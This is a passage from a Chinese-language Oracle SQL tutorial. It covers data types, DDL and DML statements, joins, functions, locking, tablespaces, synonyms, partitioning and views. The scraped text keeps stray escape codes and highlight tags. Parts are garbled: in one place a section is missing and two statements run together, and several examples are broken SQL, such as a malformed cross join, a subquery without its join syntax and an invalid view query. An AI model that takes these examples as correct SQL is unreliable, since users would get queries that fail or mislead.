Language(DDL),用来建立数据库、数据对象和定义其列。例如:CREATE、DROP、ALTER等\u003Cem\u003E语句\u003C\u002Fem\u003E。\n\t数据操作语言Data Manipulation Language(DML),用来插入、修改、\u003Cem\u003E删除\u003C\u002Fem\u003E、查询,可以修改数据库中的数据。例如:INSERT(插入)、UPDATE(修改)、DELETE(\u003Cem\u003E删除\u003C\u002Fem\u003E)\u003Cem\u003E语句\u003C\u002Fem\u003E\n\t数据查询语言 (Data Query Language, DQL) 是SQL语言中,负责进行数据查询而不会对数据本身进行修改的\u003Cem\u003E语句\u003C\u002Fem\u003E,这是最基本的SQL\u003Cem\u003E语句\u003C\u002Fem\u003E。例如:SELECT(查询)\n\t数据控制语言Data Controlling Language(DCL),用来控制数据库组件的存取允许、存取权限等。例如:GRANT、REVOKE、COMMIT、ROLLBACK等\u003Cem\u003E语句\u003C\u002Fem\u003E。\n\t事务控制语言(Transactional Control Language,TCL),用于维护数据的一致性,包括COMMIT(提交事务)、ROLLBACK(回滚事务)和SAVEPOINT(设置保存点)3条\u003Cem\u003E语句\u003C\u002Fem\u003E\n二、\tOracle的数据类型\n类型\t参数\t描述\n字符类型\tchar\t1~2000字节\t固定长度字符串,长度不够的用空格补充\n\tvarchar2\t1~4000字节\t可变长度字符串,与CHAR类型相比,使用VARCHAR2可以节省磁盘空间,但查询效率没有char类型高\n数值类型\tNumber(m,n)\tm(1~38) \nn(-84~127) \t可以存储正数、负数、零、定点数和精度为38位的浮点数,其中,M表示精度,代表数字的总位数;N表示小数点右边数字的位数\n日期类型\tdate\t7字节\t用于存储表中的日期和时间数据,取值范围是公元前4712年1月1日至公元9999年12月31日,7个字节分别表示世纪、年、月、日、时、分和秒\n二进制数据类型\trow\t1~2000字节\t可变长二进制数据,在具体定义字段的时候必须指明最大长度n\n\tlong raw\t1~2GB\t可变长二进制数据\nLOB数据类型\tclob\t1~4GB\t只能存储字符数据\n\tnclob\t1~4GB\t保存本地语言字符集数据\n\tblob\t1~4GB\t以二进制信息保存数据\n三、\tDDL语言\n1.\tCreate table命令\n用于创建表。在创建表时,经常会创建该表的主键、外键、唯一约束、Check约束等\n\t语法结构\ncreate table 表名(\n [字段名] [类型] [约束]\n ………..\n CONSTRAINT fk_column\nFOREIGN KEY(column1,column2,…..column_n)\nREFERENCES tablename(column1,column2,…..column_n)\n)\n\t例子:\ncreate table student(\nstuNo char(32) primary key,--主键约束\nstuName varchar2(20) not null,--非空约束\ncardId char(20) unique,--唯一约束\nsex char(2) check(sex='男' or sex='女'),--检查约束\naddress varchar2(100) default '地址不详'--默认约束\n)\ncreate table mark(\nmid int primary key,--主键约束\nstuNo char(32) not null,\ncourseName varchar2(20) not null,--非空约束\nscore number(3) not null check(score\u003E=0 and scoreselect * from em--查询所有数据\nSQL\u003Eselect ename,job from em--查询指定的字段数据\nSQL\u003E select * from emp where sal\u003E1000--加条件\n2.\t聚合函数\n聚合函数对一组值执行计算并返回单一的值。聚合函数忽略空值。聚合函数经常与 SELECT \u003Cem\u003E语句\u003C\u002Fem\u003E的 GROUP BY 子句一同使用。不能在 WHERE 子句中使用组函数。\n\tAVG(expression): 返回集合中各值的平均值\n--查询所有人都的平均工资\nselect avg(sal) from emp\n\tCOUNT(expression): 以 Int32 形式返回集合中的项数\n--查询工资低于2000的人数\nselect count(*) from emp where sal2000\n5.\t连接查询\n连接查询是关系数据库中最主要的查询,主要包括内连接、外连接和交叉连接等。通过连接运算符可以实现多个表查询。\n\t内连接\n内连接也叫连接,是最早的一种连接。还可以被称为普通连接或者自然连接,内连接是从结果表中\u003Cem\u003E删除\u003C\u002Fem\u003E与其他被连接表中没有匹配行的所有行,所以内连接可能会丢失信息。\n\t等值连接:\nselect * from emp inner join dept on emp.deptno=dept.deptno\nselect * from emp,dept where emp.deptno=dept.deptno\n\t不等值连接:\nselect * from emp inner join dept on emp.deptno!=dept.deptno\n\t外连接\n外连接分为三种:左外连接,右外连接,全外连接。对应SQL:LEFT\u002FRIGHT\u002FFULL OUTER JOIN。通常我们省略outer 这个关键字。写成:LEFT\u002FRIGHT\u002FFULL JOIN。\n\t左外连接(left join): 是以左表的记录为基础的\nselect * from emp left join dept on emp.deptno=dept.deptno\n\t右外连接(right join): 和left join的结果刚好相反,是以右表(BL)为基础的\nselect * from emp right join dept on emp.deptno=dept.deptno\n\t全外连接(full join): 左表和右表都不做限制,所有的记录都显示,两表不足的地方用null 填充\nselect * from emp full join dept on emp.deptno=dept.deptno\n\t交叉连接\n交叉连接即笛卡儿乘积,是指\u003Cem\u003E两个\u003C\u002Fem\u003E关系中所有元组的任意组合。一般情况下,交叉查询是没有实际意义的。\nselect * from cross full join dept\n6.\t常用查询\n\tlike模糊查询\n--查询姓名首字母为S开始的员工信息\nselect * from emp where ename like 'S%'\n--查询姓名第三个字母为A的员工信息\nselect * from emp where ename like '__A%'\n\tis null\u002Fis not null 查询\n--查询没有奖金的雇员信息\nselect * from emp where comm is null\n--查询有奖金的雇员信息\nselect * from emp where comm is not null\n\tin查询\n--查询雇员编号为7566、7499、7844的雇员信息\nselect * from emp where empno in(7566,7499,7844)\n\texists\u002Fnot exists查询(效率高于in)\n--查询有上级领导的雇员信息\nselect * from emp e where exists \n(select * from emp where empno=e.mgr)\n--查询没有上级领导的雇员信息\nselect * from emp e where not exists \n(select * from emp where empno=e.mgr)\n\tall查询\n--查询比部门编号为20的所有雇员工资都高的雇员信息\nselect * from emp where sal \u003E all(select sal from emp where deptno=20)\n\tunion合并不重复\nselect * from emp where comm is not null\nunion\nselect * from emp where sal\u003E3000\n\tunion all合并重复\nselect * from emp where comm is not null\nunion all\nselect * from emp where sal\u003E3000\n7.\t子查询\n当\u003Cem\u003E一个\u003C\u002Fem\u003E查询是另\u003Cem\u003E一个\u003C\u002Fem\u003E查询的条件时,称之为子查询。子查询是\u003Cem\u003E一个\u003C\u002Fem\u003E SELECT \u003Cem\u003E语句\u003C\u002Fem\u003E,它嵌套在\u003Cem\u003E一个\u003C\u002Fem\u003E SELECT、SELECT...INTO \u003Cem\u003E语句\u003C\u002Fem\u003E、INSERT...INTO \u003Cem\u003E语句\u003C\u002Fem\u003E、DELETE \u003Cem\u003E语句\u003C\u002Fem\u003E、或 UPDATE \u003Cem\u003E语句\u003C\u002Fem\u003E或嵌套在另一子查询中。\n\t在CREATE TABLE\u003Cem\u003E语句\u003C\u002Fem\u003E中使用子查询\n--创建表并拷贝数据\ncreate table temp(id,name,sal) as select empno,ename,sal from emp\n\t在INSERT\u003Cem\u003E语句\u003C\u002Fem\u003E中使用子查询\n--当前表拷贝\ninsert into temp(id,name,sal) select * from temp\n--从其他表指定字段拷贝\ninsert into temp(id,name,sal) select empno,ename,sal from emp\n\t在DELETE\u003Cem\u003E语句\u003C\u002Fem\u003E中使用子查询\n--\u003Cem\u003E删除\u003C\u002Fem\u003ESALES部门中的所有雇员\ndelete from emp where deptno in\n(select deptno from dept where dname='SALES')\n\t在UPDATE\u003Cem\u003E语句\u003C\u002Fem\u003E中使用子查询\n--修改scott用户的工资和smith的工资一致\nupdate emp set sal=(select sal from emp where ename='SMITH') where ename='SCOTT'\n--修改black用户的工作,工资,奖金和scott一致\nupdate emp set(job,sal,comm)=(select job,sal,comm from emp where ename='SCOTT') where ename='BLAKE'\n\t在SELECT\u003Cem\u003E语句\u003C\u002Fem\u003E中使用子查询\n--查询和ALLEN同一部门的员工信息\nselect * from emp where deptno in\n(select deptno from emp where ename='ALLEN')\n--查询工资大于部门平均工资的雇员信息\nselect * from emp e \n(select avg(sal) asal,deptno from emp group by deptno) t \nwhere e.deptno=t.deptno and e.sal\u003Et.asal\n六、\tTCL语言\n1.\tCOMMIT\ncommit --提交事务\n2.\tROLLBACK\nrollback to p1 --回滚到指定的保存点\nrollback --回滚所有的保存点\n3.\tSAVEPOINT\nsavepoint p1 --设置保存点\n4.\t只读事务\n只读事务是指只允许执行查询的操作,而不允许执行任何其它dml操作的事务,它的作用是确保用户只能取得某时间点的数据。\nset transaction read only\n七、\toracle函数\n1.\t字符串函数\n字符串函数是oracle中比较常用的,下面我们就介绍些常用的字符串函数:\n\tconcat:字符串连接函数,也可以使用’||’\n--将职位和雇员名称显示在一列中\nselect concat(ename,concat('(',concat(job,')'))) from emp\nselect ename || '(' || job || ')' from emp\n\tlength:返回字符串的长度\n--查询雇员名字长度为5个字符的信息\nselect * from emp where length(ename)=5\n\tlower:将字符串转换成小写\n--以小写方式显示雇员名\nselect lower(ename) from emp\n\tupper:将字符串转换成大写\n--以大写方式显示雇员名\nselect upper (ename) from emp\n\tsubstr:截取字符串\n--只显示雇员名的前3个字母\nselect substr(ename,0,3) from emp\n\treplace:替换字符串\n--将雇员的金额显示为*号\nselect ename,replace(sal,sal,’*’) from emp\n\tinstr:查找字符串\n--查找雇员名含有’LA’字符的信息\nselect * from emp where instr(ename,’LA’)\u003E0\n2.\t日期函数\n\tsysdate:返回当前session所在时区的默认时间\n--获取当前系统时间\nselect sysdate from dual\n\tadd_months:返回指定日期月份+n之后的值,n可以为任何整数\n--查询当前系统月份+2的时间\nselect add_months(sysdate,2) from dual\n--查询当前系统月份-2的时间\nselect add_months(sysdate,-2) from dual\n\tlast_day:返回指定时间所在月的最后一天\n--获取当前系统月份的最后一天\nselect last_day(sysdate) from dual\n\tmonths_between:返回月份差,结果可正可负,当然也有可能为0\n--获取入职日期距离当前时间多少天\nselect months_between(sysdate, hiredate) from emp\n\ttrunc:为指定元素而截去的日期值\n--获取当前系统年,其他默认\nselect trunc(sysdate,'yy') from dual\n--查询81年2月份入职的雇员\nselect * from emp \nwhere trunc(hiredate,'mm')=trunc(to_date('1981-02','yyyy-mm'),'mm')\n3.\t转换函数\n\tto_char:将任意类型转换成字符串\n--日期转换\nselect to_char(sysdate, 'yyyy-mm-dd hh24:mi:ss') from dual\n--数字转换\nselect to_char(-100.789999999999,'L99G999D999') from dual \n\t数字格式控制符\n符号\t描述\n9\t代表一位数字,如果当前位有数字,显示数字,否则不显示(小数部分仍然会强制显示)\n0\t强制显示该位,如果当前位有数字,显示数字,否则显示0\n$\t增加美元符号显示\nL\t增加本地货币符号显示\n.\t小数点符号显示\n,\t千分位符号显示\n\tto_date:将字符串转换成日期对象\n--字符转换成日期\nselect to_date('2011-11-11 11:11:11', 'yyyy-mm-dd hh24:mi:ss') from dual \n\tto_number:将字符转换成数字对象\n--字符转换成数字对象\nselect to_number('209.976')*5 from dual \nselect to_number('209.976', '9G999D999')*5 from dual \n4.\t数学函数\n\tabs:返回数字的绝对值\nselect abs(-1999) from dual \n\tceil:返回大于或等于n的最小的整数值\nselect ceil(2.48) from dual \n\tfloor:返回小于等于n的最大整数值\nselect floor(2.48) from dual \n\tround:四舍五入\nselect round(2.48) from dual \nselect round(2.485,2) from dual\n\tbin_to_num:二进制转换成十进制\nselect bin_to_num(1,0,0,1,0) from dual \n \n第四章\t锁\n一、\t概述\n锁是实现数据库并发控制的\u003Cem\u003E一个\u003C\u002Fem\u003E非常重要的技术。当事务在对某个数据对象进行操作前,先向系统发出请\u003Cem\u003E求\u003C\u002Fem\u003E,对其加锁。加锁后事务就对该数据对象有了一定的控制,在该事务释放锁之前,其他的事务不能对此数据对象进行更新操作。\n在数据库中有两种基本的锁类型:排它锁(Exclusive Locks,即X锁)和共享锁(Share Locks,即S锁)。当数据对象被加上排它锁时,其他的事务不能对它读取和修改。加了共享锁的数据对象可以被其他事务读取,但不能修改。\n根据保护的对象不同,Oracle数据库锁可以分为以下几大类:\n\tDML锁(data locks,数据锁),用于保护数据的完整性\n\tDDL锁(dictionary locks,字典锁),用于保护数据库对象的结构,如表、索引等的结构定义\n\t内部锁和闩(internal locks and latches),保护数据库的内部结构\n二、\tDML锁\nDML锁的目的在于保证并发情况下的数据完整性,在Oracle数据库中,DML锁主要包括TM锁和TX锁,其中TM锁称为表级锁,TX锁称为事务锁或行级锁。\n1.\t行级锁\n当事务执行数据库插入、更新、\u003Cem\u003E删除\u003C\u002Fem\u003E操作时,该事务自动获得操作表中操作行的排它锁\n--不允许其他用户对雇员表的部门编号为20的数据进行修改\nselect * from emp where deptno=20 for update\n--不允许其他用户对雇员表的所有数据进行修改\nselect * from emp for update\n--如果已经被锁定,就不用等待\nselect * from emp for update nowait\n--如果已经被锁定,更新的时候等待5秒\nselect * from emp for update wait 5\n2.\t锁模式\n\t0(none)\n\t1(null)\n\t2(rs):行共享\n\t3(rx):行排他\n\t4(s):共享\n\t5(srx):共享行排他\n\t6(x):排他\n数字越大,锁级别越高\n3.\t表级锁\n当事务获得行锁后,此事务也将自动获得该行的表锁(行排他),以防止其它事务进行DDL\u003Cem\u003E语句\u003C\u002Fem\u003E影响记录行的更新\n\t行共享锁(RS锁):允许用户进行任何操作,禁止排他锁\nlock table emp in row share mode\n\t行排他锁(RX锁):允许用户进行任何操作,禁止共享锁\nlock table emp in row exclusive mode\n\t共享锁(R锁):其他用户只能看,不能修改\nlock table emp in share mode\n\t排他锁(X锁):其他用户只能看,不能修改,不能加其他锁\nlock table emp in exclusive mode\n\t共享行排他(SRX锁):比行排他和共享锁级别高,不能添加共享锁\nlock table emp in share row exclusive mode\n4.\t锁兼容性\n\nS\tX\tRS\tRX\tSRX\tN\u002FA\nS\tY\tN\tY\tN\tN\tY\nX\tN\tN\tN\tN\tN\tY\nRS\tY\tN\tY\tY\tY\tY\nRX\tN\tN\tY\tY\tN\tY\nSRX\tN\tN\tY\tN\tN\tY\nN\u002FY\tY\tY\tY\tY\tY\tY\n5.\t死锁\n当\u003Cem\u003E两个\u003C\u002Fem\u003E事务需要一组有冲突的锁,而不能将事务继续下去的话,就出现死锁。\n1)\t用户A修改A表,事务不提交\n2)\t用户B修改B表,事务不提交\n3)\t用户A修改B表,阻塞\n4)\t用户B修改A表,阻塞\nOracle系统能自动发现死锁,并会自动选择工作量最少的事务进行撤销和释放所有锁\n6.\t悲观锁和乐观锁\n数据的锁定分为两种方法,第一种叫做悲观锁,第二种叫做乐观锁\n\t悲观锁:就是对数据的冲突采取一种悲观的态度,也就是说假设数据肯定会冲突,所以在数据开始读取的时候就把数据锁定住。\n\t乐观锁:就是认为数据一般情况下不会造成冲突,所以在数据进行提交更新的时候,才会正式对数据的冲突与否进行检测,如果发现冲突了,则让用户返回错误的信息,让用户决定如何去做。\n三、\tDDL锁\n1.\t排它DDL锁\n创建、修改、\u003Cem\u003E删除\u003C\u002Fem\u003E\u003Cem\u003E一个\u003C\u002Fem\u003E数据库对象的DDL\u003Cem\u003E语句\u003C\u002Fem\u003E获得操作对象的排它锁。\n2.\t共享DDL锁\n需在数据库对象之间建立相互依赖关系的DDL\u003Cem\u003E语句\u003C\u002Fem\u003E通常需共享获得DDL锁\n3.\t分析锁\n分析锁是一种独特的DDL锁类型,ORACLE使用它追踪共享池对象及它所引用数据库对象之间的依赖关系\n四、\t内部锁和闩\n这是ORACLE中的一种特殊锁,用于顺序访问内部系统结构。当事务需向缓冲区写入信息时,为了使用此块内存区域,ORACLE首先必须取得这块内存区域的闩锁,才能向此块内存写入信息。\n \n第五章\t数据库对象\n一、\t概述\nORACLE数据库主要有如下数据库对象:\n\ttablespace and datafile(表空间和数据\u003Cem\u003E文件\u003C\u002Fem\u003E)\n\ttable(表)\n\tconstraints(约束)\n\tindex(索引)\n\tview(试图)\n\tsequence(序列)\n\tsynonyms(同义词)\n\tDB-link(数据库链路)\n二、\t表空间和数据\u003Cem\u003E文件\u003C\u002Fem\u003E\n表空间是数据库的逻辑组成部分,从物理上讲,数据库数据是存放在数据\u003Cem\u003E文件\u003C\u002Fem\u003E中,从逻辑上讲数据库则是存放在表空间中,表空间是由\u003Cem\u003E一个\u003C\u002Fem\u003E或多个数据\u003Cem\u003E文件\u003C\u002Fem\u003E组成。\n \n\t表空间\n\t某一时刻只能属于\u003Cem\u003E一个\u003C\u002Fem\u003E数据库\n\t由\u003Cem\u003E一个\u003C\u002Fem\u003E或多个数据\u003Cem\u003E文件\u003C\u002Fem\u003E组成\n\t可进一步划分为逻辑存储\n\t表空间主要分为两种\n\tSystem表空间\n\t随数据库创建\n\t包含数据字典\n\t包含system还原段\n\t非system表空间\n\t用于分开存储段\n\t易于空间管理\n\t控制分配给用户的空间量\n\t数据\u003Cem\u003E文件\u003C\u002Fem\u003E\n\t只能属于\u003Cem\u003E一个\u003C\u002Fem\u003E表空间和\u003Cem\u003E一个\u003C\u002Fem\u003E数据库\n\t是方案对象数据的资料档案库\n\t创建表空间\n\t语法\nCREATE TABLESPACE tablespacename\n[DATAFILE clause]\n[MINIMUM EXTENT integer[k|m]]\n[BLOCKSIZE integer[k]]\n[LOGGING|NOLOGGING]\n[DEFAULT storage_clause]\n[ONLINE|OFFLINE]\n[PERMANENT|TEMPORARY]\n[extent_management_clause]\n[segment_management_clause]\n\t例子\n--创建本地管理表空间\ncreate tablespace firstSpance\ndatafile 'e:\u002Ffirstspance.dbf'size 100M\nextent management local uniform size 256k\n--修改\u003Cem\u003E文件\u003C\u002Fem\u003E大小\nalter database datafile 'e:\u002Ffirstspance.dbf' resize 110m\n--\u003Cem\u003E删除\u003C\u002Fem\u003E表空间\ndrop tablespace firstSpance INCLUDING CONTENTS and datafiles\n--使用数据库表空间\n--创建用户指定表空间\ncreate user guest identified by 123456\ndefault tablespace firstSpance\n--表中指定表空间\ncreate table account(\n accountid number(4),\n accountName varchar2(20)\n)tablespace firstSpance\n--表空间脱机\nalter tablespace firstSpance offline\n--表空间联机\nalter tablespace firstSpance online\n--表空间只读,不能进行dml操作\nalter tablespace firstSpance read only\n三、\t同义词\nOracle数据库中提供了同义词管理的功能。同义词是数据库方案对象的\u003Cem\u003E一个\u003C\u002Fem\u003E别名,经常用于简化对象访问和提高对象访问的安全性。Oracle同义词有两种类型,分别是公用Oracle同义词与私有Oracle同义词。\n\t公有同义词\n\t语法\nCREATE [OR REPLACE] PUBLIC SYNONYM sys_name FOR [SCHEMA.] object_name\n\t创建(需拥有CREATE PUBLIC SYNONYM权限才可以创建)\n--创建同义词\ncreate public synonym syn_emp for scott.emp\n--访问同义词\nselect * from syn_emp\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E\ndrop public synonym syn_emp\n\t私有同义词\n\t语法\nCREATE [OR REPLACE] SYNONYM sys_name FOR [SCHEMA.] object_name\n\t创建\n--创建同义词\ncreate synonym syn_pri_emp for emp\n--访问同义词\nselect * from syn_ pri _emp\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E\ndrop public synonym syn_emp\n四、\t表分区\n当表中的数据量不断增大,查询数据的速度就会变慢,应用程序的性能就会下降,这时就应该考虑对表进行分区。表进行分区后,逻辑上表仍然是一张完整的表,只是将表中的数据在物理上存放到多个表空间(物理\u003Cem\u003E文件\u003C\u002Fem\u003E上),这样查询数据时,不至于每次都扫描整张表。\n\t优点:\n\t改善查询性能:对分区对象的查询可以仅搜索自己关心的分区,提高检索速度。\n\t增强可用性:如果表的某个分区出现故障,表在其他分区的数据仍然可用;\n\t维护方便:如果表的某个分区出现故障,需要修复数据,只修复该分区即可;\n\t均衡I\u002FO:可以把不同的分区映射到磁盘以平衡I\u002FO,改善整个系统性能。\n\t使用场合\n\t表的大小超过2GB\n\t表中包含历史数据,新的数据被增加都新的分区中\n\t常见分区方法:\n\t范围 --- 8\n\tHash --- 8i\n\t列表 --- 9i\n\t组合 --- 8i\n \n1.\t范围分区\n范围分区将数据基于范围映射到每\u003Cem\u003E一个\u003C\u002Fem\u003E分区,这个范围是你在创建分区时指定的分区键决定的。这种分区方式是最为常用的,并且分区键经常采用日期。\n\t特点:\n\t最早、最经典的分区算法\n\tRange分区通过对分区字段值的范围进行分区\n\tRange分区特别适合于按时间周期进行数据的存储。日、周、月、年等。\n\t数据管理能力强(数据迁移、数据备份、数据交换)\n\t范围分区的数据可能不均匀\n\t范围分区与记录值相关,实施难度和可维护性相对较差\n\t例子\n\t按值划分\n--创建\nCREATE TABLE book (\n bookid NUMBER(5),\n bookname VARCHAR2(30),\n price NUMBER(8)\n)PARTITION BY RANGE (price)--分区字段\n(\n PARTITION P1 VALUES LESS THAN (4) TABLESPACE system,\n PARTITION P2 VALUES LESS THAN (8) TABLESPACE system,\n PARTITION P3 VALUES LESS THAN (maxvalue) TABLESPACE system, \n)\n--MAXVALUE代表了\u003Cem\u003E一个\u003C\u002Fem\u003E不确定的值,这个值高于其它分区中的任何分区键的值\n\t按日期划分\nCREATE TABLE student (\n stuno NUMBER(5),\n stuname VARCHAR2(30),\n birthday date\n)PARTITION BY RANGE (birthday)--分区字段\n(\n PARTITION P1990 VALUES LESS THAN (to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system,\n PARTITION P1991 VALUES LESS THAN (to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system \n);\n2.\tHash分区(散列分区)\n这类分区是在列值上使用散列算法,以确定将行放入哪个分区中。当列的值没有合适的条件时,建议使用散列分区。散列分区为通过指定分区编号来均匀分布数据的一种分区类型。如果你要使用hash分区,只需指定分区的数量即可。建议分区的数量采用2的n次方,这样可以使得各个分区间数据分布更加均匀。\n\t特点\n\t基于分区字段的HASH值,自动将记录插入到指定分区。\n\t分区数一般是2的幂\n\t易于实施\n\t总体性能最佳\n\t适合于静态数据\n\tHASH分区适合于数据的均匀存储\n\t数据管理能力弱\n\tHASH分区对数据值无法控制\n\t例子\nCREATE TABLE classes (\n clsno NUMBER(5),\n clsname VARCHAR2(30)\n)PARTITION BY HASH(clsno)--分区字段\n(\n PARTITION ph1 tablespace system,\n PARTITION ph2 tablespace system\n)\n3.\tList分区(列表分区)\n该分区的特点是某列的值只有几个,基于这样的特点我们可以采用列表分区。\n\t特点\n\tList分区通过对分区字段的离散值进行分区\n\tList分区是不排序的,而且分区之间也没有关联\n\tList分区适合于对数据离散值进行控制\n\tList分区只支持单个字段\n\tList分区具有与range分区相似的优缺点\n\t数据管理能力强\n\t各分区的数据可能不均匀\n\t例子\nCREATE TABLE users (\n userid NUMBER(5),\n username VARCHAR2(30),\n province char(5)\n)PARTITION BY list(province)--分区字段\n(\n PARTITION pl1 values('广东') tablespace system,\n PARTITION pl2 values('江西') tablespace system,\n PARTITION pl3 values('广西') tablespace system,\n PARTITION pl4 values('湖南') tablespace system\n);\n4.\t组合分区\n常见的组合分区主要有范围散列分区和范围列表分区\n\t特点\n\t既适合于历史数据,又适合于数据均匀分布\n\t与范围分区一样提供高可用性和管理性\n\t实现粒度更细的操作\n\t组合范围列表分区\n这种分区是基于范围分区和列表分区,表首先按某列进行范围分区,然后再按某列进行列表分区,分区之中的分区被称为子分区。\n\t例子\nCREATE TABLE student (\n stuno NUMBER(5),\n stuname VARCHAR2(30),\n birthday date,\n province char(5)\n)PARTITION BY RANGE (birthday) --主分区字段\nsubpartition BY LIST(province)--子分区字符\n(\n PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system\n (\n SUBPARTITION pl1 values('广东') tablespace system,\n SUBPARTITION pl2 values('江西') tablespace system,\n SUBPARTITION pl3 values('广西') tablespace system,\n SUBPARTITION pl4 values('湖南') tablespace system\n ),\n PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system\n (\n SUBPARTITION p21 values('广东') tablespace system,\n SUBPARTITION p22 values('江西') tablespace system,\n SUBPARTITION p23 values('广西') tablespace system,\n SUBPARTITION p24 values('湖南') tablespace system \n ) \n);\n\t组合范围散列分区\n这种分区是基于范围分区和散列分区,表首先按某列进行范围分区,然后再按某列进行散列分区。\n\t例子\nCREATE TABLE student (\n stuno NUMBER(5),\n stuname VARCHAR2(30),\n birthday date\n)PARTITION BY RANGE(birthday) --主分区字段\nSUBPARTITION BY HASH(stuno)--子分区字符\n(\n PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system\n (\n SUBPARTITION ph12 tablespace system,\n SUBPARTITION ph13 tablespace system\n ),\n PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system\n (\n SUBPARTITION ph21 tablespace system,\n SUBPARTITION ph22 tablespace system \n ) \n);\n5.\t表分区常用操作\n\t添加分区\n--添加主分区\nalter table book add partition p4 values less than(maxvalue) tablespace system\n--添加子分区\nALTER TABLE student MODIFY PARTITION P1990 \n ADD SUBPARTITION pl5 values('福建')\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E分区\n--\u003Cem\u003E删除\u003C\u002Fem\u003E主分区\nALTER TABLE student DROP PARTITION P1990\n--\u003Cem\u003E删除\u003C\u002Fem\u003E子分区\nALTER TABLE student DROP SUBPARTITION p15\n\t重命名表分区\nALTER TABLE student RENAME PARTITION P21 TO P2\n\t显示数据库所有分区表的信息\nselect * from DBA_PART_TABLES\n\t显示当前用户所有分区表的信息\nselect * from USER_PART_TABLES\n\t查询指定表分区数据\nselect * from users partition(pl2)--主分区\nselect * from users subpartition(phl2)--子分区\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E分区表\u003Cem\u003E一个\u003C\u002Fem\u003E分区的数据\nalter table book truncate partition p11\n \n第六章\t视图\n一、\t概述\n视图是基于\u003Cem\u003E一个\u003C\u002Fem\u003E表或多个表或视图的逻辑表,本身不包含数据,通过它可以对表里面的数据进行查询和修改。视图基于的表称为基表。视图是存储在数据字典里的一条select\u003Cem\u003E语句\u003C\u002Fem\u003E。 通过创建视图可以提取数据的逻辑上的集合或组合。\n \n\t为什么使用视图\n\t控制数据访问\n\t简化查询\n\t数据独立性\n\t避免重复访问相同的数据\n\t使用修改基表的最大好处是安全性,即保证那些能被任意人修改的列的安全性\n\tOracle中视图分类\n\t关系视图\n\t内嵌视图\n\t对象视图\n\t物化视图\n二、\t关系视图\n关系视图是作为数据库对象存在的,创建之后也可以通过工具或数据字典来查看视图的相关信息。关系视图是4种视图中最简单,同时也最常用的视图。\n\t语法\nCREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name [(alias[, alias]...)] \nAS subquery \n[WITH CHECK OPTION [CONSTRAINT constraint]] \n[WITH READ ONLY]\n1.\tOR REPLACE:若所创建的试图已经存在,ORACLE自动重建该视图\n2.\tFORCE:不管基表是否存在ORACLE都会自动创建该视图\n3.\tNOFORCE:只有基表都存在ORACLE才会创建该视图\n4.\tAlias:为视图产生的列定义的别名\n5.\tsubquery:一条完整的SELECT\u003Cem\u003E语句\u003C\u002Fem\u003E,可以在该\u003Cem\u003E语句\u003C\u002Fem\u003E中定义别名\n6.\tWITH CHECK OPTION:插入或修改的数据行必须满足视图定义的约束\n7.\tWITH READ ONLY:该视图上不能进行任何DML操作\n\t例子\ncreate or replace view view_Account_dept\nas\nselect * from emp where deptno=10\n--只读视图\ncreate or replace view view_Account_dept\nas\nselect * from emp where deptno=10 order by sal\nwith read only\n--约束视图\ncreate or replace view view_Account_dept\nas\nselect * from emp where deptno=10 \nwith check option\n\t查询视图\nselect * from emp where view_Account_dept\n\t修改视图\n通过OR REPLACE 重新创建\u003Cem\u003E同名\u003C\u002Fem\u003E视图即可\n\t\u003Cem\u003E删除\u003C\u002Fem\u003E视图\nDROP VIEW VIEW_NAME\u003Cem\u003E语句\u003C\u002Fem\u003E\u003Cem\u003E删除\u003C\u002Fem\u003E视图\n\t视图上的DML 操作原则\n1.\t简单视图可以执行DML操作; \n2.\t在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字时不能执行delete\u003Cem\u003E语句\u003C\u002Fem\u003E\n3.\t在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字,ROWNUM为例,列定义为表达式时不能执行update\u003Cem\u003E语句\u003C\u002Fem\u003E\n4.\t在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字,ROWNUM为例,列定义为表达式,表中非空的列子视图定义中未包括时不能执行insert\u003Cem\u003E语句\u003C\u002Fem\u003E\n5.\t可以使用WITH READ ONLY来屏蔽DML操作\n三、\t内嵌视图\n内嵌视图是在from\u003Cem\u003E语句\u003C\u002Fem\u003E中的可以把表改成\u003Cem\u003E一个\u003C\u002Fem\u003E子查询。内嵌视图不属于任何用户,也不是对象,内嵌视图是子查询的一种。\n\t例子\nSelect * from \n(select * from emp where deptno=10)\nwhere sal\u003E2000\n四、\t对象视图\n对象类型在数据库编程中有许多好处,但有时,应用程序已经开发完成。为了迎合对象类型而重建数据表是不现实的。对象视图正是解决这一问题的优秀策略。\n五、\t物化视图\n常用于数据库的容灾,不是传统意义上虚拟视图,是实体化视图,和表一样可以存储数据、查询数据。主备数据库数据同步通过物化视图实现,主备数据库通过data link连接,在主备数据库物化视图进行数据复制。当主数据库垮掉时,备数据库接管,实现容灾。\n\t语法\ncreate materialized view materialized_view_name\nbuild [immediate|deferred] --1.创建方式\nrefresh [complete|fast|force|never] --2.物化视图刷新方式\non [commit|demand] --3.刷新触发方式\nstart with (start_date) --4.开始时间\nnext (interval_date) --5.间隔时间\nwith [primary key|rowid] --默认 primary key\nENABLE QUERY REWRITE --7.是否启用查询重写\nas --8.关键字\nselect statement; --9.基表选取数据的select\u003Cem\u003E语句\u003C\u002Fem\u003E\n1.\t创建方式\n\timmediate(默认):立即\n\tdeferred:延迟,至第一次refresh时,才生效\n2.\t物化视图刷新方式\n\tforce(默认):如果可以快速刷新,就执行快速刷新,否则,执行完全刷新\n\tcomplete:完全刷新,即刷新时更新全部数据,包括视图中已经生成的原有数据\n\tfast:快速刷新,只刷新增量部分。前提是,需要在基表上创建物化视图日志。该日志记录基表数据变化情况,所以才能实现增量刷新\n\tnever:从不刷新\n3.\t刷新触发方式\n\ton commit:基表有commit动作时,刷新视图,不能跨库执行(因为不知道别的库的提交动作)\n\ton 